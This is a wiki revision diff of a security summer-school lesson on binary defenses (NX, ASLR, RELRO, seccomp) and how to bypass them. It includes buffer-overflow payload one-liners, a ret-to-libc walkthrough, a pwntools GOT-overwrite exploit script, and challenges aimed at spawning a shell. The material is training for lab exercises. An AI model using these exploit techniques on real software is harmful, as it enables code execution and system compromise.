User Tools

Site Tools


session:10

Differences

This shows you the differences between two versions of the page.

Link to this comparison view

Both sides previous revision Previous revision
Next revision
Previous revision
session:10 [2020/07/12 17:56]
Silvia Pripoae [Bypassing ASLR]
session:10 [2020/07/19 12:49] (current)
Line 1: Line 1:
-= 0x09. Defense Mechanisms+====== 0x09. Defense Mechanisms ======
  
-== Resources+===== Resources =====
  
-[[http://security.cs.pub.ro/summer-school/res/slides/09-defense-mechanisms.pdf|Slides]]+[[http://security.cs.pub.ro/summer-school/res/slides/10-defense-mechanisms.pdf|Slides]]
  
-[[https://security.cs.pub.ro/summer-school/res/arc/09-defense-mechanisms-skel.zip|Activities archive]]+Get the tasks by cloning [[https://github.com/hexcellents/sss-exploit|Public GitHub Repository]].
  
-== Tutorials+ 
 +===== Tutorials =====
  
 The previous sessions ([[:session:07]] and [[:session:08]]) presented an exploitation scenario that is based on the assumption that machine instructions can be executed from **any** memory segment belonging to the process. As you can recall from [[session:03]], different sections of an ELF binary are grouped into segments which are loaded into memory when the binary is being executed. This mechanism (and some hardware support) enables 2 important protection mechanisms that will be presented in this session: executable space protection, and address space layout randomization.  The previous sessions ([[:session:07]] and [[:session:08]]) presented an exploitation scenario that is based on the assumption that machine instructions can be executed from **any** memory segment belonging to the process. As you can recall from [[session:03]], different sections of an ELF binary are grouped into segments which are loaded into memory when the binary is being executed. This mechanism (and some hardware support) enables 2 important protection mechanisms that will be presented in this session: executable space protection, and address space layout randomization. 
Line 24: Line 25:
 </note> </note>
  
-=== Executable Space Protection+===== Tools ===== 
 + 
 +The **checksec** command-line tool is a wrapper over the functionality implemented in pwntools' ''pwnlib.elf.elf'' module. 
 + 
 +We will use this tool throughout the session to identify which defense mechanisms are enabled for a certain binary: 
 +<code bash> 
 +root@kali:~/demo/nx# checksec ./no_nx 
 +[*] '/root/demo/nx/no_nx' 
 +    Arch:     i386-32-little 
 +    RELRO:    Full RELRO 
 +    Stack:    No canary found 
 +    NX:       NX disabled 
 +    PIE:      PIE enabled 
 +    RWX:      Has RWX segments 
 +</code> 
 + 
 +<note warning> To get it to work in the Kali VM, you have to update pwntools to the latest version using: 
 +<code> 
 +$ pip install -U pwntools 
 +</code> 
 +</note> 
 + 
 + 
 +==== Executable Space Protection ====
  
 The **executable space protection** is an instance of the **principle of least privilege**, which is applied in many security sensitive domains. In this case, the executable space protection is used to limit the types of memory access that a process is allowed to make during execution. A memory region (i.e., page) can have the following protection levels: READ, WRITE, and EXECUTE. The executable space protection mandates that writable regions should not be executable at the same time. The **executable space protection** is an instance of the **principle of least privilege**, which is applied in many security sensitive domains. In this case, the executable space protection is used to limit the types of memory access that a process is allowed to make during execution. A memory region (i.e., page) can have the following protection levels: READ, WRITE, and EXECUTE. The executable space protection mandates that writable regions should not be executable at the same time.
Line 46: Line 70:
 There are of course other implementations in different hardening-oriented projects such as: OpenBSD [[http://marc.info/?l=openbsd-misc&m=105056000801065|W^X]], Red Hat [[http://www.redhat.com/magazine/009jul05/features/execshield/|Exec Shield]], PaX (which is now part of [[https://grsecurity.net/|grsecurity]]), Windows Data Execution Prevention ([[http://support.microsoft.com/kb/875352|DEP]]). There are of course other implementations in different hardening-oriented projects such as: OpenBSD [[http://marc.info/?l=openbsd-misc&m=105056000801065|W^X]], Red Hat [[http://www.redhat.com/magazine/009jul05/features/execshield/|Exec Shield]], PaX (which is now part of [[https://grsecurity.net/|grsecurity]]), Windows Data Execution Prevention ([[http://support.microsoft.com/kb/875352|DEP]]).
  
-==== Walk-through+=== Walk-through ===
  
 The Linux kernel provides support for managing memory protections in the ''%%mmap()%%'' and ''%%mprotect()%%'' syscalls. These syscalls are used by the loader to set protection levels for each segment it loads when running a binary. Of course, the same functions can also be used during execution. The Linux kernel provides support for managing memory protections in the ''%%mmap()%%'' and ''%%mprotect()%%'' syscalls. These syscalls are used by the loader to set protection levels for each segment it loads when running a binary. Of course, the same functions can also be used during execution.
Line 173: Line 197:
 </code> </code>
  
-==== Bypassing NX+=== Bypassing NX ===
  
 **ret-to-plt/libc.** You can return to the ''.plt'' section and call library function already linked. You can also call other library functions based on their known offsets. The latter approach assumes no ASLR (see next section), or the possibility of an information leak. **ret-to-plt/libc.** You can return to the ''.plt'' section and call library function already linked. You can also call other library functions based on their known offsets. The latter approach assumes no ASLR (see next section), or the possibility of an information leak.
Line 181: Line 205:
 **Return Oriented Programming (ROP).** This is a generalization of the ret-to-* approach that makes use of existing code to execute almost anything. As this is probably one of the most common types of attacks, it will be discussed in depth in a future section. **Return Oriented Programming (ROP).** This is a generalization of the ret-to-* approach that makes use of existing code to execute almost anything. As this is probably one of the most common types of attacks, it will be discussed in depth in a future section.
  
-=== Address Space Layout Randomization+==== Address Space Layout Randomization ====
  
 Address Space Layout Randomization (ASLR) is a security feature that maps different memory regions of an executable at random addresses. This prevents buffer overflow-based attacks that rely on known addresses such as the stack (for calling into shellcode), or dynamically linked libraries (for calling functions that were not already linked with the target binary). Usually, the sections that are randomly mapped are: the stack, the heap, the VDSO page, and the dynamic libraries. The code section can also be randomly mapped for [[http://en.wikipedia.org/wiki/Position-independent_executable|PIE]] binaries. Address Space Layout Randomization (ASLR) is a security feature that maps different memory regions of an executable at random addresses. This prevents buffer overflow-based attacks that rely on known addresses such as the stack (for calling into shellcode), or dynamically linked libraries (for calling functions that were not already linked with the target binary). Usually, the sections that are randomly mapped are: the stack, the heap, the VDSO page, and the dynamic libraries. The code section can also be randomly mapped for [[http://en.wikipedia.org/wiki/Position-independent_executable|PIE]] binaries.
Line 211: Line 235:
 </code> </code>
  
-=== Bypassing ASLR+==== Bypassing ASLR ====
  
 **Bruteforce.** If you are able to inject payloads multiple times without crashing the application, you can bruteforce the address you are interested in (e.g., a target in libc). Otherwise, you can just run the exploit multiple times. **Bruteforce.** If you are able to inject payloads multiple times without crashing the application, you can bruteforce the address you are interested in (e.g., a target in libc). Otherwise, you can just run the exploit multiple times.
Line 224: Line 248:
 **Restrict entropy.** There are various ways of reducing the entropy of the randomized address. For example, you can decrease the initial stack size by setting a huge amount of dummy environment variables. **Restrict entropy.** There are various ways of reducing the entropy of the randomized address. For example, you can decrease the initial stack size by setting a huge amount of dummy environment variables.
  
-**Partial overwrite.** This technique is useful when we are able to overwrite only the least significant byte(s) of an address (e.g. a GOT entry). We must take into account the offsets of the original and final addresses from the beginning of the mapping. If these offsets only differ in the last 12 bits, the exploit is deterministic, as the base of the mapping is aligned to 0x1000. For example, the offsets of ''read'' and ''write'' in ''libc6_2.27-3ubuntu1.2_i386'' are suitable for a partial overwrite:+**Partial overwrite.** This technique is useful when we are able to overwrite only the least significant byte(s) of an address (e.g. a GOT entry). We must take into account the offsets of the original and final addresses from the beginning of the mapping. If these offsets only differ in the last bits, the exploit is deterministic, as the base of the mapping is aligned to 0x1000. The offsets of ''read'' and ''write'' in ''libc6_2.27-3ubuntu1.2_i386'' are suitable for a partial overwrite:
 <code bash> <code bash>
 gdb-peda$ p read gdb-peda$ p read
Line 231: Line 255:
 $2 = {<text variable, no debug info>} 0xe6ea0 <__GI___libc_write> $2 = {<text variable, no debug info>} 0xe6ea0 <__GI___libc_write>
 </code> </code>
-Otherwisewe can still try to overwrite a larger part of the address in combination with bruteforce.+Howeversince bits 12-16 of the offsets differ, the corresponding bits in the full addresses would have to be bruteforced (probability 1/4).
  
 **Information leak.** The most effective way of bypassing ASLR is by using an information leak vulnerability that exposes randomized address, or at least parts of them. You can also dump parts of libraries (e.g., ''libc'') if you are able to create an exploit that reads them. This is useful in remote attacks to infer the version of the library, downloading it from the web, and thus knowing the right offsets for other functions (not originally linked with the binary). **Information leak.** The most effective way of bypassing ASLR is by using an information leak vulnerability that exposes randomized address, or at least parts of them. You can also dump parts of libraries (e.g., ''libc'') if you are able to create an exploit that reads them. This is useful in remote attacks to infer the version of the library, downloading it from the web, and thus knowing the right offsets for other functions (not originally linked with the binary).
  
-=== Toolsltrace+==== TutorialChaining Information Leaks with GOT Overwrite ====
  
-We are going to use ''ltrace'' to catch library function invocations+In this tutorial we will exploit a program that is similar to ''02-challenge-no-ret-control'' from the previous session: 
 +<code c> 
 +#include <stdio.h> 
 +#include <unistd.h>
  
-<code> +int main() { 
-python -c 'print "MY_L33T_ATTACK_STR1NG"' | ltrace -i ./vulnbinary 2>&+ int *addr;
-</code>+
  
-If you are more comfortable with another tool feel free to use it. Keep in mind that sometimes addresses change when you are using ''GDB''.+ printf("Here's a libc address: 0x%08x\n", printf);
  
-=== 00. Tutorial - Bypass NX Stack with return-to-libc+ printf("Give me and address to modify!\n"); 
 + scanf("%p", &addr);
  
-Go to the ''01-tutorial-ret-to-libc/'' folder in the [[https://security.cs.pub.ro/summer-school/res/arc/09-defense-mechanisms-skel.zip|activities archive]].+ printf("Give me a value!\n"); 
 + scanf("%u", addr);
  
-In the previous sessions we used stack overflow vulnerabilities to inject new code into a running process (on its stackand redirect execution to it. This attack is easily defeated by making the stack, together with any other memory page that can be modified, non-executable. This is achieved by setting the NX bit in the page table.+ sleep(10);
  
-We will try to bypass this protection for the ''01-tutorial-ret-to-libc/src/auth'' binary in the lab archiveBuild the auth program or use the already compiled oneFor now, disable ASLR in the a new shell: + printf("Abandon all hope ye who reach this...\n");  
- +}
-<code> +
-setarch $(uname -m) -R /bin/bash+
 </code> </code>
  
-Let's take a look at the program headers and confirm that the stack is no longer executableWe only have read and write (RW) permissions for the stack area.+The goal is to alter the execution flow and avoid reaching the final ''printf''To this end, we will overwrite the ''sleep'' entry in GOT and redirect it to ''exit''. However, due to ASLR, the value can not be hardcoded and must be computed at runtime.
  
-<note important+Whenever we operate with addresses belonging to shared libraries, we must be aware that the offsets are highly dependent on the particular build of the library. We can identify this build either by its BuildID (retrieved with the file command), or by its version string: 
-The auth binary requires the ''libssl1.0.0:i386'' Debian package to workRecompiling it requires ''libssl-dev:i386''which might remove ''gcc''So make sure you also install ''gcc'' afterwards.+<code bash
 +silvia@imladris:/sss/demo$ ldd ./got_overwrite 
 +    linux-gate.so.1 (0xf7ee8000) 
 +    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7ccc000) 
 +    /lib/ld-linux.so.2 (0xf7ee9000) 
 +silvia@imladris:/sss/demo$ file $(realpath /lib/i386-linux-gnu/libc.so.6) 
 +/lib/i386-linux-gnu/libc-2.27.so: ELF 32-bit LSB shared objectIntel 80386, version 1 (GNU/Linux), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=cf1599aa8b3cb35f79dcaea7a8b48704ecf42a19, for GNU/Linux 3.2.0, stripped 
 +silvia@imladris:/sss/demo$ strings /lib/i386-linux-gnu/libc.so.6 | grep "GLIBC " 
 +GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1.2) stable release version 2.27. 
 +</code>
  
-You can find ''libssl1.0.0:i386'' Debian package [[https://packages.debian.org/jessie/i386/libssl1.0.0/download | here ]]. +Alternatively, if we don't have prior knowledge of the remote system where the binary runs, but obtain via an information leak some addresses, we may be able to identify the ''libc'' based on the last 3 nibbles of these addresses.
-</note>+
  
-<code bash> +For examplewe have the following pair of addresses:
-$ checksec 1-random +
-    [...] +
-    NX:       NX enabled +
-    [...] +
-</code> +
-For completenesslets check that there is indeed a buffer (stack) overflow vulnerability.+
 <code> <code>
-$ python -c 'print "A" * 1357' | ltrace -i ./auth +0xf7df6250 <__libc_system> 
-[0x80484f1] __libc_start_main(0x80486af, 1, 0xbffff454, 0x80486c0, 0x8048730 <unfinished ...> +0xf7e780e0 <__sleep>
-[0x8048601] malloc(20)                                                                            = 0x0804b008 +
-[0x80485df] puts("Enter password: "Enter password:  +
-)                                                              = 17 +
-[0x80485ea] gets(c, 0x8048601, 0x80486af, 0xb7cdecb0, 0xb7cdecb7)                        = 0xbfffee63 +
-[0x8048652] memset(0x0804b008, '\000', 20)                                                        = 0x0804b008 +
-[0x8048671] SHA1(0xbfffee63, 137, 0x804b008, 4, 0x41000001)                                       = 0x804b008 +
-[0x41414141] --- SIGSEGV (Segmentation fault) --- +
-[0xffffffff] +++ killed by SIGSEGV ++++
 </code> </code>
 +We enter them in the [[https://libc.blukat.me/|libc database]] and get a match for the same ''libc'' build we determined earlier.
  
-Check the source file - the buffer length is ''1337'' bytes. There should be a base pointer and the ''main()'''s return address just before it on the stack. There is also some alignment involvedbut we can easily try a few lengths to get the right position of the return addressSeems to be ''1337 + 16'' followed by the return address for this caseYou canof coursedetermine the distance between the buffer's start address and the frame's return address exactly using ''objdump'', but we will leave that as an exercise.+For this ''libc'', we obtain the offsets of the functions we are interested in using GDB: 
 +<code bash> 
 +silvia@imladris:/sss/demo$ gdb -q -n /lib/i386-linux-gnu/libc.so.
 +(gdb) p printf 
 +$1 = {<text variableno debug info>} 0x513a0 <__printf> 
 +(gdb) p exit 
 +$2 = {<text variableno debug info>} 0x30420 <__GI_exit> 
 +</code>
  
-We can now jump anywhere. Unfortunately, we cannot put a shellcode in the buffer and jump into it because the stack is non-executable now. Lets try it with a few NOPs. Our buffer'address is ''0xbfffee63'' (see the ''gets()'' call). +We will also need the address of ''sleep@got'' (which is static because the binary is not position independent): 
-<code> +<code bash
-python -c 'print "\x90\x90\x90\x90+ "A" * 1349 + "\x63\xee\xff\xbf"' | ltrace -i ./auth +silvia@imladris:/sss/demoobjdump -d -M intel -j .plt ./got_overwrite | grep "sleep@plt" -A1 
-[0x80484f1] __libc_start_main(0x80486af, 1, 0xbffff454, 0x80486c0, 0x8048730 <unfinished ...+080483b0 <sleep@plt>: 
-[0x8048601] malloc(20)                                                                            = 0x0804b008 + 80483b0  ff 25 0c a0 04 08       jmp    DWORD PTR ds:0x804a00c
-[0x80485df] puts("Enter password"Enter password +
-)                                                              = 17 +
-[0x80485ea] gets(0xbfffee63, 0x8048601, 0x80486af, 0xb7cdecb0, 0xb7cdecb7)                        = 0xbfffee63 +
-[0x8048652] memset(0x0804b008, '\000', 20)                                                        = 0x0804b008 +
-[0x8048671] SHA1(0xbfffee63, 137, 0x804b008, 4, 0x90000001)                                       = 0x804b008 +
-[0xbfffee63] --- SIGSEGV (Segmentation fault) --- +
-[0xffffffff] +++ killed by SIGSEGV ++++
 </code> </code>
-Oh, such a bummer! It didn't work. How about we try to jump to some existing code? + 
-<code> +We start the program and compute the address of exit based on the leak of printf (in another terminal): 
-$ objdump -d auth | grep -A 15 "<check_password>:" +<code bash
-080485ec <check_password>+>>> printf_offset = 0x513a0 
- 80485ec: 55                    push   %ebp +>>> exit_offset = 0x30420 
- 80485ed: 89 e5                mov    %esp,%ebp +>>> 0xf7dfb3a0 printf_offset + exit_offset 
- 80485ef: 81 ec 58 05 00 00    sub    $0x558,%esp +4158497824
- 80485f5: c7 04 24 14 00 00 00 movl   $0x14,(%esp) +
- 80485fc: e8 9f fe ff ff        call   80484a0 <malloc@plt+
- 8048601: a3 38 a0 04 08        mov    %eax,0x804a038 +
- 8048606: a1 38 a0 04 08        mov    0x804a038,%eax +
- 804860b: 85 c0                test   %eax,%eax +
- 804860d: 75 18                jne    8048627 <check_password+0x3b> +
- 804860f: c7 04 24 76 87 04 08 movl   $0x8048776,(%esp) +
- 8048616: e8 95 fe ff ff        call   80484b0 <puts@plt+
- 804861b: c7 04 24 01 00 00 00 movl   $0x1,(%esp) +
- 8048622: e8 99 fe ff ff        call   80484c0 <exit@plt> +
- 8048627: 8d 85 bb fa ff ff    lea    -0x545(%ebp),%eax +
- 804862d: 89 04 24              mov    %eax,(%esp)+
 </code> </code>
-Lets try ''0x804860f'' such that we print the ''malloc'' failure message. 
 <code> <code>
-python -c 'print "A" * 1353 + "\x0f\x86\x04\x08"' | ltrace -i -e puts ./auth +silvia@imladris:/sss/demo$ ./got_overwrite 
-[0x80485df] puts("Enter password: "Enter password:  +Here's a libc address0xf7dfb3a0 
-)                                                              = 17 +Give me and address to modify! 
-[0x804861b] puts("malloc failed"malloc failed +0x804a00c 
-)                                                                 = 14 +Give me a value! 
-[0xffffffff] +++ exited (status 1) +++ +4158497824 
 +silvia@imladris:/sss/demo$ echo $? 
 +10
 </code> </code>
  
-== Challenges+As we intended, the GOT entry corresponding to ''sleep'' was overwritten by ''exit'' and the program exited with code 10 without printing the final message.
  
-=== 01. Challenge - ret-to-libc+The following pwntools script automates this interaction: 
 +<code python> 
 +from pwn import *
  
-Looks good! Let's get serious and do something useful with this.+p = process('./got_overwrite'
 +libc = ELF('/lib/i386-linux-gnu/libc.so.6')
  
-Continue working in the ''01-tutorial-ret-to-libc/'' folder in the [[https://security.cs.pub.ro/summer-school/res/arc/09-defense-mechanisms-skel.zip|activities archive]].+sleep_got = p.elf.got['sleep']
  
-The final goal of this task is to bypass the NX stack protection and call ''system("/bin/sh")''. We will start with a simple **ret-to-plt**:+p.recvuntil('libc address:') 
 +libc_leak = int(p.recvuntil('\n')[:-1], 16) 
 +libc_base = libc_leak libc.symbols['printf']
  
-  - Display all ''libc'' functions linked with the ''auth'' binary. +print("Libc base is at0x%x% libc_base)
-  - Return to ''puts()''. Use ''ltrace'' to show that the call is actually being made. +
-  - Find the offset of the ''“malloc failed”'' static string in the binary. +
-  - Make the binary print ''"failed"'' the second time ''puts'' is called. +
-  - **(bonus)** The process should ''SEGFAULT'' after printing ''"Enter password:"'' again. Make it exit cleanly (the exit code does not matter, just no ''SIGSEGV''). You can move on to the next task without solving this problem. +
-  - Remember how we had ASLR disabled? The other ''libc'' functions are in the memory, you just need to find their addresses. Find the offset of ''system()'' in ''libc''. Find the offset of the ''"/bin/sh"'' string in ''libc''+
-  - Where is ''libc'' linked in the ''auth'' binary? Compute the final addresses and call ''system("/bin/sh")'' just like you did with ''puts''+
-<note important> +
-//Hint//: Use ''LD_TRACE_LOADED_OBJECTS=1 ./auth'' instead of ''ldd''. The latter is not always reliable because the order in which it loads the libraries might be different than when you actually run the binary. +
-</note>+
  
-<note important> +exit = libc_base + libc.symbols['exit']
-//Hint//: When you will finally attack this, ''stdin'' will get closed and the new shell will have nothing to readUse cat to concatenate your attack string with ''stdin'' like this: ''cat <(python -c 'print "L33T_ATTACK"') - | ./vulnbinary''+
-</note>+
  
-=== 02Challenge - no-ret-control+p.sendline(hex(sleep_got))
  
-Go to the ''02-challenge-no-ret-control/'' folder in the [[https://security.cs.pub.ro/summer-school/res/arc/09-defense-mechanisms-skel.zip|activities archive]].+p.recvuntil('value!'
 +p.sendline(str(exit))
  
-Imagine this scenario: we have an executable where we can change at least 4B of random memory, but ASLR is turned on. We cannot reliably change the value of the return address because of this. Sometimes ret is not even called at the end of a function.+p.interactive() 
 +</code>
  
-Alter the execution of ''force_exit'', in order to call the secret function.+==== RELRO ====
  
-=== 03. Challenge ret-to-plt+**RELRO** (**Rel**ocation **R**ead-**O**nly) defends against attacks which overwrite data in relocation sections, such as the GOT-overwrite we showed earlier.
  
-Go to the ''03-challenge-ret-to-plt/'' folder in the [[https://security.cs.pub.ro/summer-school/res/arc/09-defense-mechanisms-skel.zip|activities archive]].+It comes in two flavors: partial and full. Partial RELRO protects the ''.init_array'', ''.fini_array'', ''.dynamic'' and ''.got'' sections (but NOT ''.got.plt''). Full RELRO additionally protects ''.got.plt'', rendering the GOT overwrite attack infeasible.
  
-''random'' is a small application that generates a random number.+In the last session we explained how the addresses of dynamically linked functions are resolved using lazy binding. When Full RELRO is in effect, the addresses are resolved at load-time and then marked as read-only. Due to the way address space protection works, this means that the .got resides in the read-only mapping, instead 
 +of the read-write mapping that contains the ''.bss''.
  
-Your task is to build an exploit that makes the application always print the **same second random number**That is the first printed random number is whatever, but the second printed random number will always be the same, for all runs. In the sample output below the second printed random number is always ''1023098942'' for all runs.+This is not a game-over in terms of exploitation, as other overwriteable code pointers often exist. These can be specific to the application we want to exploit or reside in shared libraries (for example: the GOT of shared libraries that are not compiled with RELRO)The return addresses on the stack are still viable targets.
  
-<code text> +==== seccomp ====
-hari@solyaris-home:~$ python -c 'print <payload here>' | ./random +
-Hi! Options: +
- 1. Get random number +
- 2. Go outside +
-Here's a random number: 2070249950. Have fun with it! +
-Hi! Options: +
- 1. Get random number +
- 2. Go outside +
-Here's a random number: 1023098942. Have fun with it! +
-Segmentation fault (core dumped) +
-hari@solyaris-home:~$ python -c 'print <payload here>' | ./random +
-Hi! Options: +
- 1. Get random number +
- 2. Go outside +
-Here's a random number: 1152946153. Have fun with it! +
-Hi! Options: +
- 1. Get random number +
- 2. Go outside +
-Here's a random number: 1023098942. Have fun with it!+
  
-</code> +**seccomp** is a mechanism though which an application may transition into a state where the system calls it performs are restricted. The policy, which may act on a whitelist or blacklist model, is described using [[https://lwn.net/Articles/593476/|eBPF]].
-   +
-You can use this Python skeleton for buffer overflow input:+
  
-<file python skel.py> +seccomp filters are instated using the ''prctl'' syscall (''PR_SET_SECCOMP'')Once it is in effectthe application will be effectively sandboxed and the restrictions will be inherited by child processes.
-#!/usr/bin/python +
-import structsys+
  
-def dw(i)+This may severely limit our exploitation prospects in some cases. In the challenges that we have solved during these sessions, a common goal was spawning a shell and retrieving a certain file (the flag). If the exploited binary used a  seccomp filter that disallowed the ''execve'' syscall (used by the ''system'' library function), this would have thwarted our exploit.
- return struct.pack("<I", i)+
  
-#TODO update count for your prog +The [[https://github.com/david942j/seccomp-tools|seccomp-tools suite]] provides tools for analyzing seccomp filters. The ''dump'' subcommand may be used to extract the filter from a binary at runtime and display it in a pseudocode format: 
-pad_count_to_ret 100 +<code bash> 
-payload "X" * pad_count_to_ret+silvia@imladris:/sss/demo$ seccomp-tools dump ./seccomp_example 
 + line  CODE  JT   JF      K 
 +================================= 
 + 0000: 0x20 0x00 0x00 0x00000004 arch 
 + 0001: 0x15 0x00 0x09 0x40000003  if (A != ARCH_I386) goto 0011 
 + 0002: 0x20 0x00 0x00 0x00000000  A = sys_number 
 + 0003: 0x15 0x07 0x00 0x000000ad  if (A == rt_sigreturn) goto 0011 
 + 0004: 0x15 0x06 0x00 0x00000077  if (A == sigreturn) goto 0011 
 + 0005: 0x15 0x05 0x00 0x000000fc  if (A == exit_group) goto 0011 
 + 0006: 0x15 0x04 0x00 0x00000001  if (A == exit) goto 0011 
 + 0007: 0x15 0x03 0x00 0x00000005  if (A == open) goto 0011 
 + 0008: 0x15 0x02 0x00 0x00000003  if (A == read) goto 0011 
 + 0009: 0x15 0x01 0x00 0x00000004  if (A == write) goto 0011 
 + 0010: 0x06 0x00 0x00 0x00050026  return ERRNO(38) 
 + 0011: 0x06 0x00 0x00 0x7fff0000  return ALLOW 
 +</code>
  
-#TODO figure out where to return +In the example above we see a filter operating on the whitelist model: it specifies a subset of syscalls that are allowed: ''rt_sigreturn'', ''sigreturn'', ''exit_group'', ''exit'', ''open'', ''read'' and ''write''.
-ret_addr = 0xdeadbeef +
-payload += dw(ret_addr)+
  
 +<note tip>
 +To install seccomp-tools on the Kali VM, use the the gem package manager:
 +<code>
 +$ gem install seccomp-tools
 +</code>
 +</note>
  
-#TODO add stuff after the payload if you need to +===== Challenges =====
-payload +""+
  
-sys.stdout.write(payload) +==== 01-04Challenges - rwslotmachine[1-4] ====
-</file>+
  
-**Bonus**: The process should SEGFAULT after printing the second (constant) numberMake it exit cleanly (the exit code does not matter, just no SIGSEGV).+All of the challenges in this section are intended to be solved with **ASLR enabled**. However, you are free to disable it while developing your exploit for debugging purposes. You are provided with the needed shared libraries from the remote system.
  
-=== 04Challenge - colors+The challenges are based on the same //"application"//: the binaries expose very similar functionality with minimal implementation differences. Your job is to identify the defense mechanisms in use for each of them and bypass them in order to read a flag from the remote system.
  
-Go to the ''04-challenge-colors/'' folder in the [[https://security.cs.pub.ro/summer-school/res/arc/09-defense-mechanisms-skel.zip|activities archive]].+They are numbered in the suggested solving order.
  
 <note important> <note important>
-//Hint//: If you are going to use an inline python command, stdin will get closed and the new shell will have nothing to read. Use cat to concatenate your attack string with stdin like this: ''%%cat <(python -c 'print "L33T_ATTACK"') - | ./vulnbinary%%''+In the case of ''rwslotmachine4'', you will need the shared library ''libint.so''
 </note> </note>
- 
-===== 04.a. 
- 
-Exploit the ''colors'' binary and call ''system()''. Disregard the string parameter of ''system()'' for now. 
- 
-===== 04.b. 
- 
-ASLR still disabled. Call ''%%system("blue")%%''. Get a shell with this. //Hint//: Where will it search for the "blue" command? 
- 
-===== 04.c. 
- 
-Again, ASLR disabled. Call ''%%system("/bin/sh")%%'' without using the previous trick. 
- 
- 
-=== 05. Challenge - bruteforce 
- 
-Continue working in the ''04-challenge-colors/'' folder in the [[https://security.cs.pub.ro/summer-school/res/arc/09-defense-mechanisms-skel.zip|activities archive]]. 
- 
-Try the previous exploit with ASLR enabled. You can rerun the binary multiple times. 
  
 <note important> <note important>
-Figure out how addresses look like using ''LD_TRACE_LOADED_OBJECTS=whatever ./colors'' multiple times. How many bits do change? Run the program multiple times with some fixed addresses for ''system'' and ''/bin/bash'' in the payload. +To set LD_LIBRARY_PATH from a pwntools script, use this method: 
 +<code python> 
 +p = process('./rwslotmachineX', env={'LD_LIBRARY_PATH'.'}) 
 +</code>
 </note> </note>
  
-<note> +<note tip
-The ASLR entropy on 32-bit systems if pretty low, which makes this bruteforce attack feasible. On 64-bit platforms you will need an information leak, and a 2-stage exploit. We are going to discuss this in a future session.+//Hint//: Do not waste time on reverse engineering ''rwslotmachine3''! It is very similar to ''rwslotmachine2'', but operates on the client/server model.
 </note> </note>
  
-=== 06. Challenge - mprotect 
  
-Go to either the ''03-challenge-ret-to-plt/'' or ''04-challenge-colors/'' folder in the [[https://security.cs.pub.ro/summer-school/res/arc/09-defense-mechanisms-skel.zip|activities archive]].+==== 05Bonus rwslotmachine5 ====
  
-Using any of the 2 binaries, try to call ''mprotect()'' in order to change the protection flags of the stack, then inject shellcode similar to the ones in the [[session:10|previous session]].+This challenge is similar to ''rwslotmachine1''. However, your exploit for the first challenge will (most likely) not work. Investigate why and develop bypass.
  
-<note important+<note tip
-To make your life easier, you can disable ASLRThe purpose of this task is to bypass NX, and not ASLR. +You can find a table describing x86 syscalls [[http://security.cs.pub.ro/hexcellents/wiki/kb/exploiting/linux_abi_x32|here]].
-</note> +
- +
-<note important> +
-//Hint//: The ''ulimit -s'' unlimited trick will make the stack get mapped at a fixed address.+
 </note> </note>
session/10.1594565778.txt.gz · Last modified: 2020/07/12 17:56 by Silvia Pripoae